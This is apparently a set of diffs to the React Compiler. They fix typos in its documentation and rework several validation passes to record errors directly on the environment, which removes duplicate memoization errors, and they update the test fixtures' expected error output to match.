* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
kind: 'Apply';
receiver: Place;
function: Place; // same as receiver for function calls
mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
args: Array<Place | SpreadPattern | Hole>;
into: Place; // where result is stored
signature: FunctionSignature | null;
@@ -526,7 +526,7 @@ Capture c <- a
Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
```js
const b = [a]; // capture

View File

@@ -13,7 +13,11 @@ import {
pruneUnusedLabels,
renameVariables,
} from '.';
import {CompilerError, ErrorCategory} from '../CompilerError';
import {
CompilerError,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {Environment, ExternalFunction} from '../HIR';
import {
ArrayPattern,
@@ -347,10 +351,6 @@ function codegenReactiveFunction(
}
}
if (cx.errors.hasAnyErrors()) {
fn.env.recordErrors(cx.errors);
}
const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);
visitReactiveFunction(fn, countMemoBlockVisitor, undefined);
@@ -420,7 +420,6 @@ class Context {
*/
#declarations: Set<DeclarationId> = new Set();
temp: Temporaries;
errors: CompilerError = new CompilerError();
objectMethods: Map<IdentifierId, ObjectMethod> = new Map();
uniqueIdentifiers: Set<string>;
fbtOperands: Set<IdentifierId>;
@@ -439,6 +438,11 @@ class Context {
this.fbtOperands = fbtOperands;
this.temp = temporaries !== null ? new Map(temporaries) : new Map();
}
recordError(error: CompilerErrorDetail): void {
this.env.recordError(error);
}
get nextCacheIndex(): number {
return this.#nextCacheIndex++;
}
@@ -775,12 +779,14 @@ function codegenTerminal(
loc: terminal.init.loc,
});
if (terminal.init.instructions.length !== 2) {
cx.errors.push({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
}
const iterableCollection = terminal.init.instructions[0];
@@ -796,12 +802,14 @@ function codegenTerminal(
break;
}
case 'StoreContext': {
cx.errors.push({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
}
default:
@@ -872,12 +880,14 @@ function codegenTerminal(
loc: terminal.test.loc,
});
if (terminal.test.instructions.length !== 2) {
cx.errors.push({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
}
const iterableItem = terminal.test.instructions[1];
@@ -892,12 +902,14 @@ function codegenTerminal(
break;
}
case 'StoreContext': {
cx.errors.push({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
}
default:
@@ -1957,22 +1969,26 @@ function codegenInstructionValue(
} else {
if (t.isVariableDeclaration(stmt)) {
const declarator = stmt.declarations[0];
cx.errors.push({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
(declarator.id as t.Identifier).name
}'`,
category: ErrorCategory.Todo,
loc: declarator.loc ?? null,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
(declarator.id as t.Identifier).name
}'`,
category: ErrorCategory.Todo,
loc: declarator.loc ?? null,
suggestions: null,
}),
);
return t.stringLiteral(`TODO handle ${declarator.id}`);
} else {
cx.errors.push({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
category: ErrorCategory.Todo,
loc: stmt.loc ?? null,
suggestions: null,
});
cx.recordError(
new CompilerErrorDetail({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
category: ErrorCategory.Todo,
loc: stmt.loc ?? null,
suggestions: null,
}),
);
return t.stringLiteral(`TODO handle ${stmt.type}`);
}
}

View File

@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
}
/*
* Validate that all scopes have properly intialized, valid mutable ranges
* Validate that all scopes have properly initialized, valid mutable ranges
* within the span of instructions for this function, ie from 1 to 1 past
* the last instruction id.
*/

View File

@@ -102,7 +102,6 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
loc: place.loc,
});
}
const error = new CompilerError();
let startMemo: StartMemoize | null = null;
function onStartMemoize(
@@ -143,7 +142,8 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
'all',
);
if (diagnostic != null) {
error.pushDiagnostic(diagnostic);
fn.env.recordError(diagnostic);
startMemo.hasInvalidDeps = true;
}
}
@@ -208,15 +208,12 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
effectReportMode,
);
if (diagnostic != null) {
error.pushDiagnostic(diagnostic);
fn.env.recordError(diagnostic);
}
},
},
false, // isFunctionExpression
);
if (error.hasAnyErrors()) {
fn.env.recordErrors(error);
}
}
function validateDependencies(

View File

@@ -6,13 +6,9 @@
*/
import * as t from '@babel/types';
import {
CompilerError,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
import {isHookName} from '../HIR/Environment';
import {Environment, isHookName} from '../HIR/Environment';
import {
HIRFunction,
IdentifierId,
@@ -90,15 +86,14 @@ function joinKinds(a: Kind, b: Kind): Kind {
export function validateHooksUsage(fn: HIRFunction): void {
const unconditionalBlocks = computeUnconditionalBlocks(fn);
const errors = new CompilerError();
const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();
function recordError(
function trackError(
loc: SourceLocation,
errorDetail: CompilerErrorDetail,
): void {
if (typeof loc === 'symbol') {
errors.pushErrorDetail(errorDetail);
fn.env.recordError(errorDetail);
} else {
errorsByPlace.set(loc, errorDetail);
}
@@ -118,7 +113,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
* If that same place is also used as a conditional call, upgrade the error to a conditonal hook error
*/
if (previousError === undefined || previousError.reason !== reason) {
recordError(
trackError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -134,7 +129,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
const previousError =
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
if (previousError === undefined) {
recordError(
trackError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -151,7 +146,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
const previousError =
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
if (previousError === undefined) {
recordError(
trackError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -396,7 +391,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
}
case 'ObjectMethod':
case 'FunctionExpression': {
visitFunctionExpression(errors, instr.value.loweredFunc.func);
visitFunctionExpression(fn.env, instr.value.loweredFunc.func);
break;
}
default: {
@@ -421,20 +416,17 @@ export function validateHooksUsage(fn: HIRFunction): void {
}
for (const [, error] of errorsByPlace) {
errors.pushErrorDetail(error);
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
fn.env.recordError(error);
}
}
function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
for (const [, block] of fn.body.blocks) {
for (const instr of block.instructions) {
switch (instr.value.kind) {
case 'ObjectMethod':
case 'FunctionExpression': {
visitFunctionExpression(errors, instr.value.loweredFunc.func);
visitFunctionExpression(env, instr.value.loweredFunc.func);
break;
}
case 'MethodCall':
@@ -445,7 +437,7 @@ function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
: instr.value.property;
const hookKind = getHookKind(fn.env, callee.identifier);
if (hookKind != null) {
errors.pushErrorDetail(
env.recordError(
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
reason:

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerError, CompilerErrorDetail, EnvironmentConfig} from '..';
import {CompilerErrorDetail, EnvironmentConfig} from '..';
import {ErrorCategory} from '../CompilerError';
import {HIRFunction, IdentifierId} from '../HIR';
import {DEFAULT_GLOBALS} from '../HIR/Globals';
@@ -20,7 +20,6 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
return ALLOW_LIST.has(name);
};
const errors = new CompilerError();
const capitalLoadGlobals = new Map<IdentifierId, string>();
const capitalizedProperties = new Map<IdentifierId, string>();
const reason =
@@ -72,20 +71,19 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
const propertyIdentifier = value.property.identifier.id;
const propertyName = capitalizedProperties.get(propertyIdentifier);
if (propertyName != null) {
errors.push({
category: ErrorCategory.CapitalizedCalls,
reason,
description: `${propertyName} may be a component`,
loc: value.loc,
suggestions: null,
});
fn.env.recordError(
new CompilerErrorDetail({
category: ErrorCategory.CapitalizedCalls,
reason,
description: `${propertyName} may be a component`,
loc: value.loc,
suggestions: null,
}),
);
}
break;
}
}
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -6,7 +6,7 @@
*/
import {CompilerError, SourceLocation} from '..';
import {ErrorCategory} from '../CompilerError';
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
import {
ArrayExpression,
BlockId,
@@ -20,6 +20,7 @@ import {
eachInstructionValueOperand,
eachTerminalOperand,
} from '../HIR/visitors';
import {Environment} from '../HIR/Environment';
/**
* Validates that useEffect is not used for derived computations which could/should
@@ -49,8 +50,6 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
const functions: Map<IdentifierId, FunctionExpression> = new Map();
const locals: Map<IdentifierId, IdentifierId> = new Map();
const errors = new CompilerError();
for (const block of fn.body.blocks.values()) {
for (const instr of block.instructions) {
const {lvalue, value} = instr;
@@ -90,20 +89,19 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
validateEffect(
effectFunction.loweredFunc.func,
dependencies,
errors,
fn.env,
);
}
}
}
}
}
fn.env.recordErrors(errors);
}
function validateEffect(
effectFunction: HIRFunction,
effectDeps: Array<IdentifierId>,
errors: CompilerError,
env: Environment,
): void {
for (const operand of effectFunction.context) {
if (isSetStateType(operand.identifier)) {
@@ -217,13 +215,15 @@ function validateEffect(
}
for (const loc of setStateLocations) {
errors.push({
category: ErrorCategory.EffectDerivationsOfState,
reason:
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
description: null,
loc,
suggestions: null,
});
env.recordError(
new CompilerErrorDetail({
category: ErrorCategory.EffectDerivationsOfState,
reason:
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
description: null,
loc,
suggestions: null,
}),
);
}
}

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerDiagnostic, CompilerError, Effect} from '..';
import {CompilerDiagnostic, Effect} from '..';
import {ErrorCategory} from '../CompilerError';
import {
HIRFunction,
@@ -43,7 +43,6 @@ import {AliasingEffect} from '../Inference/AliasingEffects';
* that are passed where a frozen value is expected and rejects them.
*/
export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
const errors = new CompilerError();
const contextMutationEffects: Map<
IdentifierId,
Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
@@ -60,7 +59,7 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
place.identifier.name.kind === 'named'
? `\`${place.identifier.name.value}\``
: 'a local variable';
errors.pushDiagnostic(
fn.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.Immutability,
reason: 'Cannot modify local variables after render completes',
@@ -159,7 +158,4 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
visitOperand(operand);
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerDiagnostic, CompilerError} from '..';
import {CompilerDiagnostic} from '..';
import {ErrorCategory} from '../CompilerError';
import {HIRFunction} from '../HIR';
import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
@@ -20,7 +20,6 @@ import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffect
* and use it here.
*/
export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
const errors = new CompilerError();
for (const [, block] of fn.body.blocks) {
for (const instr of block.instructions) {
const value = instr.value;
@@ -32,7 +31,7 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
callee.identifier.type,
);
if (signature != null && signature.impure === true) {
errors.pushDiagnostic(
fn.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.Purity,
reason: 'Cannot call impure function during render',
@@ -52,7 +51,4 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
}
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -124,8 +124,8 @@ export function validateNoRefAccessInRender(fn: HIRFunction): void {
collectTemporariesSidemap(fn, env);
const errors = new CompilerError();
validateNoRefAccessInRenderImpl(fn, env, errors);
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
for (const detail of errors.details) {
fn.env.recordError(detail);
}
}
@@ -487,24 +487,26 @@ function validateNoRefAccessInRenderImpl(
*/
if (!didError) {
const isRefLValue = isUseRefType(instr.lvalue.identifier);
for (const operand of eachInstructionValueOperand(instr.value)) {
/**
* By default we check that function call operands are not refs,
* ref values, or functions that can access refs.
*/
if (
isRefLValue ||
(hookKind != null &&
hookKind !== 'useState' &&
hookKind !== 'useReducer')
) {
if (
isRefLValue ||
(hookKind != null &&
hookKind !== 'useState' &&
hookKind !== 'useReducer')
) {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
/**
* Allow passing refs or ref-accessing functions when:
* 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)
* 2. calling hooks (independently validated for ref safety)
*/
validateNoDirectRefValueAccess(errors, operand, env);
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
}
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
/**
* Special case: the lvalue is passed as a jsx child
*
@@ -513,7 +515,98 @@ function validateNoRefAccessInRenderImpl(
* render function which attempts to obey the rules.
*/
validateNoRefValueAccess(errors, env, operand);
} else {
}
} else if (hookKind == null && instr.effects != null) {
/**
* For non-hook functions with known aliasing effects, use the
* effects to determine what validation to apply for each place.
* Track visited id:kind pairs to avoid duplicate errors.
*/
const visitedEffects: Set<string> = new Set();
for (const effect of instr.effects) {
let place: Place | null = null;
let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';
switch (effect.kind) {
case 'Freeze': {
place = effect.value;
validation = 'direct-ref';
break;
}
case 'Mutate':
case 'MutateTransitive':
case 'MutateConditionally':
case 'MutateTransitiveConditionally': {
place = effect.value;
validation = 'ref-passed';
break;
}
case 'Render': {
place = effect.place;
validation = 'ref-passed';
break;
}
case 'Capture':
case 'Alias':
case 'MaybeAlias':
case 'Assign':
case 'CreateFrom': {
place = effect.from;
validation = 'ref-passed';
break;
}
case 'ImmutableCapture': {
/**
* ImmutableCapture can come from two sources:
* 1. A known signature that explicitly freezes the operand
* (e.g. PanResponder.create) — safe, the function doesn't
* call callbacks during render.
* 2. Downgraded defaults when the operand is already frozen
* (e.g. foo(propRef)) — the function is unknown and may
* access the ref.
*
* We distinguish these by checking whether the same operand
* also has a Freeze effect on this instruction, which only
* comes from known signatures.
*/
place = effect.from;
const isFrozen = instr.effects.some(
e =>
e.kind === 'Freeze' &&
e.value.identifier.id === effect.from.identifier.id,
);
validation = isFrozen ? 'direct-ref' : 'ref-passed';
break;
}
case 'Create':
case 'CreateFunction':
case 'Apply':
case 'Impure':
case 'MutateFrozen':
case 'MutateGlobal': {
break;
}
}
if (place !== null && validation !== 'none') {
const key = `${place.identifier.id}:${validation}`;
if (!visitedEffects.has(key)) {
visitedEffects.add(key);
if (validation === 'direct-ref') {
validateNoDirectRefValueAccess(errors, place, env);
} else {
validateNoRefPassedToFunction(
errors,
env,
place,
place.loc,
);
}
}
}
}
} else {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
validateNoRefPassedToFunction(
errors,
env,

View File

@@ -48,8 +48,8 @@ export function validateNoSetStateInRender(fn: HIRFunction): void {
fn,
unconditionalSetStateFunctions,
);
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
for (const detail of errors.details) {
fn.env.recordError(detail);
}
}

View File

@@ -27,6 +27,7 @@ import {
ScopeId,
SourceLocation,
} from '../HIR';
import {Environment} from '../HIR/Environment';
import {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';
import {
eachInstructionValueLValue,
@@ -48,11 +49,10 @@ import {getOrInsertDefault} from '../Utils/utils';
*/
export function validatePreservedManualMemoization(fn: ReactiveFunction): void {
const state = {
errors: new CompilerError(),
env: fn.env,
manualMemoState: null,
};
visitReactiveFunction(fn, new Visitor(), state);
fn.env.recordErrors(state.errors);
}
const DEBUG = false;
@@ -110,7 +110,7 @@ type ManualMemoBlockState = {
};
type VisitorState = {
errors: CompilerError;
env: Environment;
manualMemoState: ManualMemoBlockState | null;
};
@@ -230,7 +230,7 @@ function validateInferredDep(
temporaries: Map<IdentifierId, ManualMemoDependency>,
declsWithinMemoBlock: Set<DeclarationId>,
validDepsInMemoBlock: Array<ManualMemoDependency>,
errorState: CompilerError,
env: Environment,
memoLocation: SourceLocation,
): void {
let normalizedDep: ManualMemoDependency;
@@ -280,7 +280,7 @@ function validateInferredDep(
errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);
}
}
errorState.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',
@@ -426,7 +426,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
this.temporaries,
state.manualMemoState.decls,
state.manualMemoState.depsFromSource,
state.errors,
state.env,
state.manualMemoState.loc,
);
}
@@ -486,16 +486,25 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
ids.add(value.place.identifier);
}
if (value.kind === 'StartMemoize') {
let depsFromSource: Array<ManualMemoDependency> | null = null;
if (value.deps != null) {
depsFromSource = value.deps;
}
CompilerError.invariant(state.manualMemoState == null, {
reason: 'Unexpected nested StartMemoize instructions',
description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
loc: value.loc,
});
if (value.hasInvalidDeps === true) {
/*
* ValidateExhaustiveDependencies already reported an error for this
* memo block, skip validation to avoid duplicate errors
*/
return;
}
let depsFromSource: Array<ManualMemoDependency> | null = null;
if (value.deps != null) {
depsFromSource = value.deps;
}
state.manualMemoState = {
loc: instruction.loc,
decls: new Set(),
@@ -529,7 +538,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
!this.scopes.has(identifier.scope.id) &&
!this.prunedScopes.has(identifier.scope.id)
) {
state.errors.pushDiagnostic(
state.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',
@@ -547,12 +556,15 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
}
}
if (value.kind === 'FinishMemoize') {
if (state.manualMemoState == null) {
// StartMemoize had invalid deps, skip validation
return;
}
CompilerError.invariant(
state.manualMemoState != null &&
state.manualMemoState.manualMemoId === value.manualMemoId,
state.manualMemoState.manualMemoId === value.manualMemoId,
{
reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
loc: value.loc,
},
);
@@ -575,7 +587,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
for (const identifier of decls) {
if (isUnmemoized(identifier, this.scopes)) {
state.errors.pushDiagnostic(
state.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',

View File

@@ -7,7 +7,7 @@
import {NodePath} from '@babel/traverse';
import * as t from '@babel/types';
import {CompilerDiagnostic, CompilerError, ErrorCategory} from '..';
import {CompilerDiagnostic, ErrorCategory} from '..';
import {CodegenFunction} from '../ReactiveScopes';
import {Environment} from '../HIR/Environment';
@@ -125,8 +125,6 @@ export function validateSourceLocations(
generatedAst: CodegenFunction,
env: Environment,
): void {
const errors = new CompilerError();
/*
* Step 1: Collect important locations from the original source
* Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)
@@ -241,7 +239,7 @@ export function validateSourceLocations(
loc: t.SourceLocation,
nodeType: string,
): void => {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.Todo,
reason: 'Important source location missing in generated code',
@@ -261,7 +259,7 @@ export function validateSourceLocations(
expectedType: string,
actualTypes: Set<string>,
): void => {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.Todo,
reason:
@@ -309,6 +307,4 @@ export function validateSourceLocations(
}
}
}
env.recordErrors(errors);
}

View File

@@ -16,13 +16,13 @@ import {
IdentifierId,
SourceLocation,
} from '../HIR';
import {Environment} from '../HIR/Environment';
import {
eachInstructionValueOperand,
eachTerminalOperand,
} from '../HIR/visitors';
export function validateUseMemo(fn: HIRFunction): void {
const errors = new CompilerError();
const voidMemoErrors = new CompilerError();
const useMemos = new Set<IdentifierId>();
const react = new Set<IdentifierId>();
@@ -90,7 +90,7 @@ export function validateUseMemo(fn: HIRFunction): void {
firstParam.kind === 'Identifier'
? firstParam.loc
: firstParam.place.loc;
errors.pushDiagnostic(
fn.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: 'useMemo() callbacks may not accept parameters',
@@ -106,7 +106,7 @@ export function validateUseMemo(fn: HIRFunction): void {
}
if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
errors.pushDiagnostic(
fn.env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason:
@@ -122,7 +122,7 @@ export function validateUseMemo(fn: HIRFunction): void {
);
}
validateNoContextVariableAssignment(body.loweredFunc.func, errors);
validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);
if (fn.env.config.validateNoVoidUseMemo) {
if (!hasNonVoidReturn(body.loweredFunc.func)) {
@@ -176,14 +176,11 @@ export function validateUseMemo(fn: HIRFunction): void {
}
}
fn.env.logErrors(voidMemoErrors.asResult());
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}
function validateNoContextVariableAssignment(
fn: HIRFunction,
errors: CompilerError,
env: Environment,
): void {
const context = new Set(fn.context.map(place => place.identifier.id));
for (const block of fn.body.blocks.values()) {
@@ -192,7 +189,7 @@ function validateNoContextVariableAssignment(
switch (value.kind) {
case 'StoreContext': {
if (context.has(value.lvalue.place.identifier.id)) {
errors.pushDiagnostic(
env.recordError(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason:

View File

@@ -10,7 +10,7 @@ import invariant from 'invariant';
import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
import type {Logger, LoggerEvent} from '../Entrypoint';
it('logs succesful compilation', () => {
it('logs successful compilation', () => {
const logs: [string | null, LoggerEvent][] = [];
const logger: Logger = {
logEvent(filename, event) {

View File

@@ -15,7 +15,7 @@ function component(a, b) {
## Error
```
Found 3 errors:
Found 2 errors:
Error: useMemo() callbacks may not be async or generator functions
@@ -47,22 +47,6 @@ error.invalid-ReactUseMemo-async-callback.ts:3:10
6 | }
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-ReactUseMemo-async-callback.ts:2:24
1 | function component(a, b) {
> 2 | let x = React.useMemo(async () => {
| ^^^^^^^^^^^^^
> 3 | await a;
| ^^^^^^^^^^^^
> 4 | }, []);
| ^^^^ Could not preserve existing manual memoization
5 | return x;
6 | }
7 |
```

View File

@@ -15,7 +15,7 @@ function component(a, b) {
## Error
```
Found 3 errors:
Found 2 errors:
Error: useMemo() callbacks may not be async or generator functions
@@ -47,22 +47,6 @@ error.invalid-useMemo-async-callback.ts:3:10
6 | }
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-useMemo-async-callback.ts:2:18
1 | function component(a, b) {
> 2 | let x = useMemo(async () => {
| ^^^^^^^^^^^^^
> 3 | await a;
| ^^^^^^^^^^^^
> 4 | }, []);
| ^^^^ Could not preserve existing manual memoization
5 | return x;
6 | }
7 |
```

View File

@@ -13,7 +13,7 @@ function component(a, b) {
## Error
```
Found 3 errors:
Found 2 errors:
Error: useMemo() callbacks may not accept parameters
@@ -40,18 +40,6 @@ error.invalid-useMemo-callback-args.ts:2:23
5 |
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-useMemo-callback-args.ts:2:18
1 | function component(a, b) {
> 2 | let x = useMemo(c => a, []);
| ^^^^^^ Could not preserve existing manual memoization
3 | return x;
4 | }
5 |
```

View File

@@ -3,8 +3,10 @@
```javascript
// @validateRefAccessDuringRender:true
import {mutate} from 'shared-runtime';
function Foo(props, ref) {
console.log(ref.current);
mutate(ref.current);
return <div>{props.bar}</div>;
}
@@ -26,14 +28,14 @@ Error: Cannot access refs during render
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
error.validate-mutate-ref-arg-in-render.ts:3:14
1 | // @validateRefAccessDuringRender:true
2 | function Foo(props, ref) {
> 3 | console.log(ref.current);
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
4 | return <div>{props.bar}</div>;
5 | }
6 |
error.validate-mutate-ref-arg-in-render.ts:5:9
3 |
4 | function Foo(props, ref) {
> 5 | mutate(ref.current);
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
6 | return <div>{props.bar}</div>;
7 | }
8 |
```

View File

@@ -1,6 +1,8 @@
// @validateRefAccessDuringRender:true
import {mutate} from 'shared-runtime';
function Foo(props, ref) {
console.log(ref.current);
mutate(ref.current);
return <div>{props.bar}</div>;
}

View File

@@ -51,7 +51,7 @@ function Component({x, y, z}) {
## Error
```
Found 6 errors:
Found 4 errors:
Error: Found missing/extra memoization dependencies
@@ -157,48 +157,6 @@ error.invalid-exhaustive-deps.ts:37:13
40 | }, []);
Inferred dependencies: `[ref]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.y.z.a.b`, but the source dependencies were [x?.y.z.a?.b.z]. Inferred different dependency than source.
error.invalid-exhaustive-deps.ts:14:20
12 | // ok, not our job to type check nullability
13 | }, [x.y.z.a]);
> 14 | const c = useMemo(() => {
| ^^^^^^^
> 15 | return x?.y.z.a?.b;
| ^^^^^^^^^^^^^^^^^^^^^^^
> 16 | // error: too precise
